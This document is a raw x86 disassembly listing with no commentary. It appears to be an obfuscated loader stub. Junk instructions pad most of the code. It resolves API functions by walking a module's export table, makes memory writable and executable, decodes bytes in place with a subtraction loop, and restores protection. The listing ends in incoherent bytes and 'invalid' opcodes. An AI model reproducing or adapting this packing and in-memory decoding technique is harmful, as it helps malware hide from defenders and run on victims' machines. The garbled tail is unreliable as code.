push edi
add esp, 4
sub esi, 0x86f8
jmp 0x407ad5
call 0x407ae4
add byte [edi + 0x4c], al
inc ebx
aas
inc edx
inc ebp
cmp al, 0x3b
add esp, 4
pop esi
push edx
push edi
add esp, 4
xor edx, 0x7a9d
pop edx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
call 0x407b11
add byte [ebx], dh
xor cl, byte [ebx + 0x3d]
inc edi
inc ebp
add esp, 4
sub ebx, 0xcdcd
add ebx, 0x10fc1
pop ebx
push eax
push edi
add esp, 4
sub eax, 0x449c
jmp 0x407b34
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x407b65
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407e56
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x407b8d
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x407e56
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x407bbf
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x407e56
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x407be4
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x407e56
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x407c3e
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x407e4a
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x407cae
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407d60
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x407d60
push eax
add eax, 0x61c7
pop eax
push ecx
add ecx, 0x15ecd
add ecx, 0x3e19
jmp 0x407cf7
pop ecx
push eax
push ecx
add esp, 4
and eax, 0x99a
jmp 0x407d0c
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x407d52
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x407d59
jmp 0x407c9f
jmp 0x407d60
push edi
push edx
add esp, 4
xor edi, 0x69cb
jmp 0x407d72
jmp 0x407d79
pop edi
push ecx
push esi
add esp, 4
and ecx, 0x12fb6
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x5172
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x407dbf
mov dword [ebp - 0xc6c], 0
jmp 0x407e2e
push ebx
push ebx
add esp, 4
sub ebx, 0x61d1
xor ebx, 0x12fa7
add ebx, 0xa2d
pop ebx
push ecx
xor ecx, 0xeb58
and ecx, 0xf23f
jmp 0x407deb
jmp 0x407df0
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x407e24
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x407e2e
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x407e45
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x407e56
jmp 0x407c2f
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
sub edx, 0x12253
pop edx
push esi
push ebx
add esp, 4
sub esi, 0x44c4
add esi, 0x91b4
pop esi
push edi
push edx
add esp, 4
and edi, 0xd155
xor edi, 0x156f5
add edi, 0x10f15
pop edi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x407f07
push eax
or eax, 0xe48c
pop eax
push esi
push eax
add esp, 4
call 0x407eda
add byte [ebx + 0x4e], cl
inc edx
dec esp
dec esi
add esp, 4
pop esi
push ebx
xor ebx, 0x94fe
add ebx, 0x2ccf
jmp 0x407ef2
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x407f24
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x407f80
push edi
call 0x407f43
add byte [ebp + 0x4c], cl
xor eax, 0x4b3f4743
dec esp
dec ebx
dec edi
add esp, 4
and edi, 0x12754
call 0x407f5a
add byte [eax + 0x3b], dl
cmp eax, 0x373b453e
cmp byte [ebx - 0x107efb3c], al
jle 0x407fa9
add dword [eax], eax
pop edi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x407f15
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x407ff8
xchg ebp, eax
in al, 0xe6
invalid
push eax
add eax, 0x11c4c
xor eax, 0xc915
pop eax
push eax
jmp 0x407fc9
pop eax
push edi
xor edi, 0x17ef
xor edi, 0x12634
pop edi
push edi
push esi
add esp, 4
xor edi, 0x5195
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
push esi
add esp, 4
or eax, 0xf73e
xor eax, 0x13d04
sub eax, 0x12643
sub eax, 0x415b
pop eax
push esi
and esi, 0xa9ce
and esi, 0x99c0
add esi, 0x17af2
pop esi
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff09ff
pop ecx
pushal
pop ebx
mov ebp, cs
or eax, 0x438af88a
or dword [ecx], ecx
mov al, byte [eax]
pushal
cmp dword [edx], ecx
or esp, esi
or eax, 0x5752494f
mov al, byte [eax]
invalid